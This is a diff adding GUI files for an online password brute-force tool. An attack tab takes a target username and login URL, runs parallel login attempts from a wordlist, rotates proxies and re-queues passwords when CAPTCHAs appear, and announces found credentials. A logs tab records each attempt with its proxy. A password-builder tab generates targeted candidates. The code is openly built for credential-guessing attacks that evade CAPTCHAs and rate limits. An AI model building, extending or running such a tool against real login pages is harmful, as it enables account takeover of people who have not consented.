|
||||||
|
cfg = SiteConfig()
|
||||||
|
cfg.login_url = url
|
||||||
|
cfg.username_field = user_field
|
||||||
|
cfg.password_field = pass_field
|
||||||
|
return cfg
|
||||||
|
|
||||||
|
# Generic site
|
||||||
|
cfg = SiteConfig.for_url(url)
|
||||||
|
cfg.username_field = user_field
|
||||||
|
cfg.password_field = pass_field
|
||||||
|
return cfg
|
||||||
|
|
||||||
|
# ── Button handlers ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _on_start(self):
|
||||||
|
username = self.email_entry.get().strip()
|
||||||
|
if not username:
|
||||||
|
self._log("ERROR: Enter a target username/email first")
|
||||||
|
return
|
||||||
|
|
||||||
|
passwords = load_passwords()
|
||||||
|
if not passwords:
|
||||||
|
self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab")
|
||||||
|
return
|
||||||
|
|
||||||
|
if self.proxy_pool.available_count == 0:
|
||||||
|
self._log("WARNING: No proxies committed — attack will run without proxies")
|
||||||
|
|
||||||
|
self._apply_speed_settings()
|
||||||
|
site_cfg = self._build_site_config()
|
||||||
|
self.orchestrator.configure(username, passwords, site_cfg)
|
||||||
|
self.orchestrator.start()
|
||||||
|
|
||||||
|
self.start_btn.configure(state="disabled")
|
||||||
|
self.pause_btn.configure(state="normal")
|
||||||
|
self.stop_btn.configure(state="normal")
|
||||||
|
|
||||||
|
w = self.orchestrator.max_workers
|
||||||
|
url = site_cfg.login_url
|
||||||
|
self._log(f"▶ Attack started — {len(passwords):,} passwords, {w} workers")
|
||||||
|
self._log(f" Target: {url}")
|
||||||
|
self._notify(f"Attack running · {len(passwords):,} passwords · {w} workers")
|
||||||
|
|
||||||
|
def _on_pause(self):
|
||||||
|
if self.orchestrator.is_running:
|
||||||
|
self.orchestrator.pause()
|
||||||
|
self.pause_btn.configure(text="▶ RESUME")
|
||||||
|
self._log("⏸ Attack paused")
|
||||||
|
self._notify("Attack PAUSED")
|
||||||
|
elif self.orchestrator.is_paused:
|
||||||
|
self.orchestrator.resume()
|
||||||
|
self.pause_btn.configure(text="⏸ PAUSE")
|
||||||
|
self._log("▶ Attack resumed")
|
||||||
|
self._notify("Attack RUNNING")
|
||||||
|
|
||||||
|
def _on_stop(self):
|
||||||
|
self.orchestrator.stop()
|
||||||
|
self.start_btn.configure(state="normal")
|
||||||
|
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
|
||||||
|
self.stop_btn.configure(state="disabled")
|
||||||
|
self._log("⏹ Attack stopped")
|
||||||
|
self._notify("Attack STOPPED")
|
||||||
|
|
||||||
|
# ── Orchestrator callbacks ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _on_stats_update(self, stats: AttackStats):
|
||||||
|
self.attempts_label.configure(text=f"Attempts: {stats.total_attempts:,}")
|
||||||
|
self.success_label.configure(text=f"Found: {stats.successful_attempts}")
|
||||||
|
self.fail_label.configure(text=f"Failed: {stats.failed_attempts:,}")
|
||||||
|
self.speed_label.configure(text=f"Speed: {stats.attempts_per_second:.1f} r/s")
|
||||||
|
self.workers_label.configure(text=f"Workers: {stats.active_workers}")
|
||||||
|
|
||||||
|
e = int(stats.elapsed_seconds)
|
||||||
|
self.elapsed_label.configure(text=f"{e//3600:02d}:{(e%3600)//60:02d}:{e%60:02d}")
|
||||||
|
|
||||||
|
self.current_pwd_label.configure(text=stats.current_password or "—")
|
||||||
|
self.current_proxy_label.configure(text=stats.current_proxy or "—")
|
||||||
|
|
||||||
|
progress = self.orchestrator.progress / 100
|
||||||
|
self.progress_bar.set(progress)
|
||||||
|
total_pw = len(self.orchestrator.passwords)
|
||||||
|
self.progress_text.configure(
|
||||||
|
text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})")
|
||||||
|
|
||||||
|
self.pwd_count_label.configure(
|
||||||
|
text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}")
|
||||||
|
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
|
||||||
|
self.captcha_label.configure(
|
||||||
|
text=f"CAPTCHAs: {stats.captchas_hit}",
|
||||||
|
text_color=(CyberpunkTheme.WARNING if stats.captchas_hit > 0
|
||||||
|
else CyberpunkTheme.TEXT_DIM))
|
||||||
|
|
||||||
|
if stats.current_password:
|
||||||
|
self._notify(
|
||||||
|
f"Trying: {stats.current_password[:24]} · "
|
||||||
|
f"{stats.attempts_per_second:.1f} r/s · "
|
||||||
|
f"{stats.active_workers} workers")
|
||||||
|
|
||||||
|
def _on_log_entry(self, entry: dict):
|
||||||
|
ts = datetime.now().strftime("%H:%M:%S")
|
||||||
|
icon = "[+]" if entry["result"] == "SUCCESS" else "[-]"
|
||||||
|
self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}")
|
||||||
|
|
||||||
|
def _on_success(self, password: str, proxy: str, result):
|
||||||
|
banner = (
|
||||||
|
"\n" + "═" * 56 + "\n"
|
||||||
|
" *** ACCESS GRANTED — CREDENTIALS FOUND ***\n"
|
||||||
|
f" PASSWORD : {password}\n"
|
||||||
|
f" PROXY : {proxy}\n"
|
||||||
|
"═" * 56 + "\n"
|
||||||
|
)
|
||||||
|
self._log(banner)
|
||||||
|
self.log_text.configure(border_color=CyberpunkTheme.SUCCESS)
|
||||||
|
self.after(3000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
|
||||||
|
self._notify(f"*** PASSWORD FOUND: {password} ***")
|
||||||
|
|
||||||
|
def _on_captcha_hit(self, proxy: str):
|
||||||
|
self._log(f"[!] CAPTCHA detected via {proxy[:28]} — proxy rotated, password re-queued")
|
||||||
|
self.log_text.configure(border_color=CyberpunkTheme.WARNING)
|
||||||
|
self.after(2000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
|
||||||
|
|
||||||
|
def _on_state_change(self, state: AttackState):
|
||||||
|
colors = {
|
||||||
|
AttackState.IDLE: CyberpunkTheme.TEXT_DIM,
|
||||||
|
AttackState.RUNNING: CyberpunkTheme.SUCCESS,
|
||||||
|
AttackState.PAUSED: CyberpunkTheme.WARNING,
|
||||||
|
AttackState.STOPPED: CyberpunkTheme.ERROR,
|
||||||
|
AttackState.COMPLETED: CyberpunkTheme.PRIMARY,
|
||||||
|
}
|
||||||
|
self.state_label.configure(
|
||||||
|
text=f"◈ {state.value.upper()}",
|
||||||
|
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
|
||||||
|
if state in (AttackState.COMPLETED, AttackState.STOPPED):
|
||||||
|
self.start_btn.configure(state="normal")
|
||||||
|
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
|
||||||
|
self.stop_btn.configure(state="disabled")
|
||||||
|
|
||||||
|
# ── Helpers ───────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _log(self, message: str):
|
||||||
|
self.log_text.configure(state="normal")
|
||||||
|
self.log_text.insert("end", message + "\n")
|
||||||
|
self.log_text.see("end")
|
||||||
|
self.log_text.configure(state="disabled")
|
||||||
|
|
||||||
|
def _notify(self, msg: str):
|
||||||
|
if self.status_callback:
|
||||||
|
self.status_callback(msg)
|
||||||
|
|
||||||
|
def _update_periodic(self):
|
||||||
|
try:
|
||||||
|
pwd_count = count_lines(PASSWORDS_FILE)
|
||||||
|
self.pwd_count_label.configure(text=f"Wordlist: {pwd_count:,}")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
|
||||||
|
self.after(2000, self._update_periodic)
|
||||||
221
src/gui/logs_tab.py
Normal file
221
src/gui/logs_tab.py
Normal file
@@ -0,0 +1,221 @@
|
|||||||
|
"""
|
||||||
|
Logs Tab — view attempt history, filter, and export.
|
||||||
|
"""
|
||||||
|
import csv
|
||||||
|
import logging
|
||||||
|
from datetime import datetime
|
||||||
|
from typing import List, Optional
|
||||||
|
import customtkinter as ctk
|
||||||
|
from src.gui.theme import CyberpunkTheme
|
||||||
|
from src.utils.logger import AttemptLogger
|
||||||
|
from config import ATTEMPT_LOG_FILE
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class LogsTab(ctk.CTkFrame):
|
||||||
|
"""Tab for viewing and exporting attempt logs."""
|
||||||
|
|
||||||
|
def __init__(self, parent, logger_instance: AttemptLogger):
|
||||||
|
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||||
|
self.attempt_logger = logger_instance
|
||||||
|
self._build_ui()
|
||||||
|
|
||||||
|
def _build_ui(self):
|
||||||
|
"""Build the logs tab UI."""
|
||||||
|
# Title
|
||||||
|
title = ctk.CTkLabel(
|
||||||
|
self, text="[ ATTEMPT LOGS ]",
|
||||||
|
font=("Consolas", 18, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY,
|
||||||
|
)
|
||||||
|
title.pack(pady=(15, 5))
|
||||||
|
|
||||||
|
subtitle = ctk.CTkLabel(
|
||||||
|
self, text="Full history of all login attempts with timestamps and proxy details",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
)
|
||||||
|
subtitle.pack(pady=(0, 15))
|
||||||
|
|
||||||
|
# === Controls ===
|
||||||
|
controls_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER)
|
||||||
|
controls_frame.pack(fill="x", padx=15, pady=(0, 10))
|
||||||
|
|
||||||
|
inner_controls = ctk.CTkFrame(controls_frame, fg_color="transparent")
|
||||||
|
inner_controls.pack(fill="x", padx=15, pady=10)
|
||||||
|
|
||||||
|
# Stats
|
||||||
|
self.total_attempts_label = ctk.CTkLabel(
|
||||||
|
inner_controls, text="Total: 0",
|
||||||
|
font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
)
|
||||||
|
self.total_attempts_label.pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.success_count_label = ctk.CTkLabel(
|
||||||
|
inner_controls, text="Success: 0",
|
||||||
|
font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.SUCCESS,
|
||||||
|
)
|
||||||
|
self.success_count_label.pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.fail_count_label = ctk.CTkLabel(
|
||||||
|
inner_controls, text="Failed: 0",
|
||||||
|
font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.ERROR,
|
||||||
|
)
|
||||||
|
self.fail_count_label.pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
# Filter buttons
|
||||||
|
ctk.CTkLabel(
|
||||||
|
inner_controls, text="Filter:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(20, 5))
|
||||||
|
|
||||||
|
self.filter_var = ctk.StringVar(value="ALL")
|
||||||
|
filter_menu = ctk.CTkOptionMenu(
|
||||||
|
inner_controls, values=["ALL", "SUCCESS", "FAILED"],
|
||||||
|
variable=self.filter_var,
|
||||||
|
command=self._on_filter_change,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
button_color=CyberpunkTheme.TERTIARY,
|
||||||
|
button_hover_color=CyberpunkTheme.PRIMARY,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
dropdown_fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
dropdown_hover_color=CyberpunkTheme.TERTIARY,
|
||||||
|
dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
font=("Consolas", 11),
|
||||||
|
width=120,
|
||||||
|
)
|
||||||
|
filter_menu.pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
# Refresh button
|
||||||
|
self.refresh_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner_controls, text="🔄 REFRESH",
|
||||||
|
command=self._refresh_logs,
|
||||||
|
color=CyberpunkTheme.TERTIARY,
|
||||||
|
width=120, height=28,
|
||||||
|
)
|
||||||
|
self.refresh_btn.pack(side="left", padx=(0, 10))
|
||||||
|
|
||||||
|
# Export button
|
||||||
|
self.export_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
inner_controls, text="📥 EXPORT CSV",
|
||||||
|
command=self._on_export,
|
||||||
|
color=CyberpunkTheme.PRIMARY,
|
||||||
|
width=140, height=28,
|
||||||
|
)
|
||||||
|
self.export_btn.pack(side="left")
|
||||||
|
|
||||||
|
# === Log Table Header ===
|
||||||
|
header_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=28)
|
||||||
|
header_frame.pack(fill="x", padx=15)
|
||||||
|
|
||||||
|
cols = ["Timestamp", "Password", "Proxy IP", "Port", "Protocol", "Status", "Response", "Message"]
|
||||||
|
widths = [160, 180, 150, 60, 70, 80, 80, 200]
|
||||||
|
for col, w in zip(cols, widths):
|
||||||
|
ctk.CTkLabel(
|
||||||
|
header_frame, text=col,
|
||||||
|
font=("Consolas", 10, "bold"),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
width=w,
|
||||||
|
).pack(side="left", padx=3)
|
||||||
|
|
||||||
|
# === Scrollable Log List ===
|
||||||
|
self.log_list_frame = ctk.CTkScrollableFrame(
|
||||||
|
self, fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER,
|
||||||
|
)
|
||||||
|
self.log_list_frame.pack(fill="both", expand=True, padx=15, pady=(0, 15))
|
||||||
|
|
||||||
|
self.log_rows = []
|
||||||
|
self._refresh_logs()
|
||||||
|
self._start_auto_refresh()
|
||||||
|
|
||||||
|
def _on_filter_change(self, choice: str):
|
||||||
|
"""Handle filter dropdown change."""
|
||||||
|
self._refresh_logs()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _format_response_ms(value) -> str:
|
||||||
|
if value in (None, ""):
|
||||||
|
return "—"
|
||||||
|
text = str(value)
|
||||||
|
return text if text.endswith("ms") else f"{text}ms"
|
||||||
|
|
||||||
|
def _refresh_logs(self):
|
||||||
|
"""Refresh the log display from the logger buffer."""
|
||||||
|
# Clear existing rows
|
||||||
|
for widget in self.log_list_frame.winfo_children():
|
||||||
|
widget.destroy()
|
||||||
|
self.log_rows = []
|
||||||
|
|
||||||
|
# Get filtered logs
|
||||||
|
entries = self.attempt_logger.get_recent(500)
|
||||||
|
filter_val = self.filter_var.get()
|
||||||
|
|
||||||
|
if filter_val != "ALL":
|
||||||
|
entries = [e for e in entries if e["result"] == filter_val]
|
||||||
|
|
||||||
|
# Update stats
|
||||||
|
stats = self.attempt_logger.get_stats()
|
||||||
|
self.total_attempts_label.configure(text=f"Total: {stats['total']}")
|
||||||
|
self.success_count_label.configure(text=f"Success: {stats['successes']}")
|
||||||
|
self.fail_count_label.configure(text=f"Failed: {stats['failures']}")
|
||||||
|
|
||||||
|
# Add rows
|
||||||
|
for entry in reversed(entries): # Most recent first
|
||||||
|
row = ctk.CTkFrame(self.log_list_frame, fg_color="transparent", height=22)
|
||||||
|
row.pack(fill="x")
|
||||||
|
|
||||||
|
is_success = entry["result"] == "SUCCESS"
|
||||||
|
status_color = CyberpunkTheme.SUCCESS if is_success else CyberpunkTheme.ERROR
|
||||||
|
|
||||||
|
values = [
|
||||||
|
(entry.get("timestamp", "")[:19], CyberpunkTheme.TEXT_DIM, 160),
|
||||||
|
(entry.get("password", "")[:30], CyberpunkTheme.TEXT_PRIMARY, 180),
|
||||||
|
(entry.get("proxy_ip", ""), CyberpunkTheme.TEXT_SECONDARY, 150),
|
||||||
|
(str(entry.get("proxy_port", "")), CyberpunkTheme.TEXT_DIM, 60),
|
||||||
|
(entry.get("proxy_protocol", "").upper(), CyberpunkTheme.TEXT_DIM, 70),
|
||||||
|
(entry.get("result", ""), status_color, 80),
|
||||||
|
(self._format_response_ms(entry.get("response_time_ms", "")), CyberpunkTheme.TEXT_DIM, 80),
|
||||||
|
(entry.get("message", "")[:40], CyberpunkTheme.TEXT_SECONDARY, 200),
|
||||||
|
]
|
||||||
|
|
||||||
|
for text, color, width in values:
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row, text=text, font=("Consolas", 10),
|
||||||
|
text_color=color, width=width, anchor="w",
|
||||||
|
).pack(side="left", padx=3)
|
||||||
|
|
||||||
|
def _start_auto_refresh(self):
|
||||||
|
"""Auto-refresh logs every 3 seconds while attack is active."""
|
||||||
|
if self.attempt_logger.buffer:
|
||||||
|
self._refresh_logs()
|
||||||
|
self.after(3000, self._start_auto_refresh)
|
||||||
|
|
||||||
|
def _on_export(self):
|
||||||
|
"""Export logs to a CSV file."""
|
||||||
|
from tkinter import filedialog, messagebox
|
||||||
|
filename = filedialog.asksaveasfilename(
|
||||||
|
title="Export Logs",
|
||||||
|
defaultextension=".csv",
|
||||||
|
filetypes=[("CSV files", "*.csv"), ("All files", "*.*")],
|
||||||
|
initialfile=f"attempt_log_{datetime.now().strftime('%Y%m%d_%H%M%S')}.csv",
|
||||||
|
)
|
||||||
|
if not filename:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
entries = self.attempt_logger.get_recent(10000)
|
||||||
|
if not entries:
|
||||||
|
messagebox.showinfo("Export", "No log entries to export.")
|
||||||
|
return
|
||||||
|
|
||||||
|
with open(filename, "w", newline="") as f:
|
||||||
|
if entries:
|
||||||
|
writer = csv.DictWriter(f, fieldnames=entries[0].keys())
|
||||||
|
writer.writeheader()
|
||||||
|
writer.writerows(entries)
|
||||||
|
|
||||||
|
messagebox.showinfo("Export", f"Exported {len(entries)} entries to:\n{filename}")
|
||||||
|
except Exception as e:
|
||||||
|
messagebox.showerror("Export Error", str(e))
|
||||||
657
src/gui/password_builder_tab.py
Normal file
657
src/gui/password_builder_tab.py
Normal file
@@ -0,0 +1,657 @@
|
|||||||
|
"""
|
||||||
|
Password Builder Tab — Crush-style password generation UI.
|
||||||
|
Configure fragments, rules, patterns, and generate targeted password candidates.
|
||||||
|
"""
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
from typing import List, Optional
|
||||||
|
import customtkinter as ctk
|
||||||
|
from src.gui.theme import CyberpunkTheme
|
||||||
|
from src.engine.password_generator import PasswordGenerator, GenerationConfig
|
||||||
|
from src.utils.file_io import save_passwords, count_lines
|
||||||
|
from config import PASSWORDS_FILE
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class PasswordBuilderTab(ctk.CTkFrame):
|
||||||
|
"""Tab for configuring and generating password candidates."""
|
||||||
|
|
||||||
|
def __init__(self, parent, status_callback=None):
|
||||||
|
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||||
|
self.generator = PasswordGenerator()
|
||||||
|
self.generated_count = 0
|
||||||
|
self.status_callback = status_callback
|
||||||
|
self._stats_after_id = None
|
||||||
|
self._estimate_after_id = None
|
||||||
|
self._build_ui()
|
||||||
|
|
||||||
|
def _build_ui(self):
|
||||||
|
"""Build the complete password builder UI."""
|
||||||
|
# Title
|
||||||
|
title = ctk.CTkLabel(
|
||||||
|
self, text="[ PASSWORD BUILDER ]",
|
||||||
|
font=("Consolas", 18, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY,
|
||||||
|
)
|
||||||
|
title.pack(pady=(15, 5))
|
||||||
|
|
||||||
|
subtitle = ctk.CTkLabel(
|
||||||
|
self, text="Configure fragments, rules, and patterns to generate targeted password candidates",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
)
|
||||||
|
subtitle.pack(pady=(0, 15))
|
||||||
|
|
||||||
|
# Main content area (scrollable)
|
||||||
|
self.content = ctk.CTkScrollableFrame(
|
||||||
|
self, fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER,
|
||||||
|
)
|
||||||
|
self.content.pack(fill="both", expand=True, padx=15, pady=(0, 10))
|
||||||
|
|
||||||
|
# === SECTION 1: Known Fragments ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> KNOWN FRAGMENTS")
|
||||||
|
frag_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
frag_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
frag_label = ctk.CTkLabel(
|
||||||
|
frag_frame, text="Enter any letters, parts, or fragments you remember:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
)
|
||||||
|
frag_label.pack(anchor="w")
|
||||||
|
|
||||||
|
self.fragments_entry = ctk.CTkEntry(
|
||||||
|
frag_frame, placeholder_text="e.g., a, h, pass, word... (comma separated)",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12),
|
||||||
|
height=35,
|
||||||
|
)
|
||||||
|
self.fragments_entry.pack(fill="x", pady=(5, 0))
|
||||||
|
CyberpunkTheme.apply_focus_glow(self.fragments_entry)
|
||||||
|
|
||||||
|
# === SECTION 2: Custom Words ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> CUSTOM WORDS")
|
||||||
|
words_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
words_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
words_label = ctk.CTkLabel(
|
||||||
|
words_frame, text="Add custom words or phrases (one per line):",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
)
|
||||||
|
words_label.pack(anchor="w")
|
||||||
|
|
||||||
|
self.words_text = ctk.CTkTextbox(
|
||||||
|
words_frame, height=80,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.words_text.pack(fill="x", pady=(5, 0))
|
||||||
|
|
||||||
|
# === SECTION 3: Number Options ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> NUMBER OPTIONS")
|
||||||
|
num_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
num_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
# Row 1
|
||||||
|
row1 = ctk.CTkFrame(num_frame, fg_color="transparent")
|
||||||
|
row1.pack(fill="x")
|
||||||
|
|
||||||
|
self.append_nums_var = ctk.BooleanVar(value=True)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row1, text="Append numbers", variable=self.append_nums_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.prepend_nums_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row1, text="Prepend numbers", variable=self.prepend_nums_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.use_years_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row1, text="Include years", variable=self.use_years_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left")
|
||||||
|
|
||||||
|
# Row 2: Number range
|
||||||
|
row2 = ctk.CTkFrame(num_frame, fg_color="transparent")
|
||||||
|
row2.pack(fill="x", pady=(5, 0))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row2, text="Range:", font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.num_start_entry = ctk.CTkEntry(
|
||||||
|
row2, width=60, placeholder_text="0",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.num_start_entry.insert(0, "0")
|
||||||
|
self.num_start_entry.pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row2, text="to", font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.num_end_entry = ctk.CTkEntry(
|
||||||
|
row2, width=80, placeholder_text="9999",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.num_end_entry.insert(0, "9999")
|
||||||
|
self.num_end_entry.pack(side="left")
|
||||||
|
|
||||||
|
# === SECTION 4: Symbol Options ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> SYMBOL OPTIONS")
|
||||||
|
sym_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
sym_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
row_s1 = ctk.CTkFrame(sym_frame, fg_color="transparent")
|
||||||
|
row_s1.pack(fill="x")
|
||||||
|
|
||||||
|
self.append_sym_var = ctk.BooleanVar(value=True)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_s1, text="Append symbols", variable=self.append_sym_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.prepend_sym_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_s1, text="Prepend symbols", variable=self.prepend_sym_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.sym_between_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_s1, text="Symbols between", variable=self.sym_between_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left")
|
||||||
|
|
||||||
|
row_s2 = ctk.CTkFrame(sym_frame, fg_color="transparent")
|
||||||
|
row_s2.pack(fill="x", pady=(5, 0))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_s2, text="Symbols:", font=("Consolas", 11),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.symbols_entry = ctk.CTkEntry(
|
||||||
|
row_s2, placeholder_text="!@#$%^&*",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.symbols_entry.insert(0, "!@#$%^&*")
|
||||||
|
self.symbols_entry.pack(side="left", fill="x", expand=True)
|
||||||
|
|
||||||
|
# === SECTION 5: Capitalization ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> CAPITALIZATION")
|
||||||
|
cap_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
cap_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
row_c1 = ctk.CTkFrame(cap_frame, fg_color="transparent")
|
||||||
|
row_c1.pack(fill="x")
|
||||||
|
|
||||||
|
self.first_cap_var = ctk.BooleanVar(value=True)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_c1, text="First letter caps", variable=self.first_cap_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.all_caps_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_c1, text="ALLCAPS", variable=self.all_caps_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
self.toggle_case_var = ctk.BooleanVar(value=False)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
row_c1, text="Toggle case", variable=self.toggle_case_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(side="left")
|
||||||
|
|
||||||
|
# === SECTION 6: Transform Options ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> TRANSFORMATIONS")
|
||||||
|
trans_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
trans_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
self.leet_var = ctk.BooleanVar(value=True)
|
||||||
|
ctk.CTkCheckBox(
|
||||||
|
trans_frame, text="Leet speak variants (a→4, e→3, i→1, o→0, s→5, t→7)",
|
||||||
|
variable=self.leet_var,
|
||||||
|
font=("Consolas", 11), checkbox_width=20, checkbox_height=20,
|
||||||
|
).pack(anchor="w")
|
||||||
|
|
||||||
|
# === SECTION 7: Pattern Templates ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> PATTERN TEMPLATES")
|
||||||
|
pat_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
pat_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
